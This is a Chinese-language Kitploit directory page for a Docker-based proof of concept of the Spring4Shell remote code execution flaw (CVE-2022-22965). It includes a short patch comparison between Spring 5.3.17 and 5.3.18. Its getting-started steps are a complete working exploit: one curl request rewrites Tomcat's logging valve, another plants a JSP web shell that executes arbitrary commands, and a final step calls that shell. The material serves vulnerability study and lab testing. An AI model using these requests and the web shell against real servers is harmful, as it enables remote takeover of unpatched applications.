Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22965 — 基于Docker的CVE-2022-22965(Spring4Shell)概念验证,针对Spring Boot 2.6.5中的远程代码执行漏洞,具有自动Webshell部署和补丁比较功能。 | Kitploit
工具/GitHubGitHub/itsecurityco/cve-2022-22965
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubitsecurityco/cve-2022-22965

CVE-2022-22965

基于Docker的CVE-2022-22965(Spring4Shell)概念验证,针对Spring Boot 2.6.5中的远程代码执行漏洞,具有自动Webshell部署和补丁比较功能。

查看仓库
163134年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Spring Boot CVE-2022-22965

针对 Spring Boot 2.6.5 版本的 CVE-2022-22965 Docker PoC

Shell

🚀 开始使用

  1. 从 https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip 下载发行版代码并解压。
  2. 运行 docker compose up --build 构建并启动易受攻击的应用程序。
  3. 运行 curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" 修改 Tomcat 配置阀门。
  4. 运行 curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" 创建 Web Shell。
  5. 打开浏览器,访问 http://localhost:8080/shell.jsp?1337=id 开始执行命令。

🔎 补丁版本

Spring Framework 5.3.17(易受攻击)和 Spring Framework 5.3.18(已修补)的源代码可分别从以下地址下载:

  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
root@kitploit:~
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip

漏洞位于 /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java 文件的第 290 行,该处对 Class.getClassLoader() 和 getProtectionDomain() 方法进行了验证,但未对 ClassLoader、ProtectionDomain 类型和 PropertyDescriptors 名称进行验证。

易受攻击代码与修补代码之间的差异可通过 diff 命令获得。

root@kitploit:~
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java

Patch


致谢

  • 原始研究:@p1n93r
  • 感谢:@fmunoz
下载工具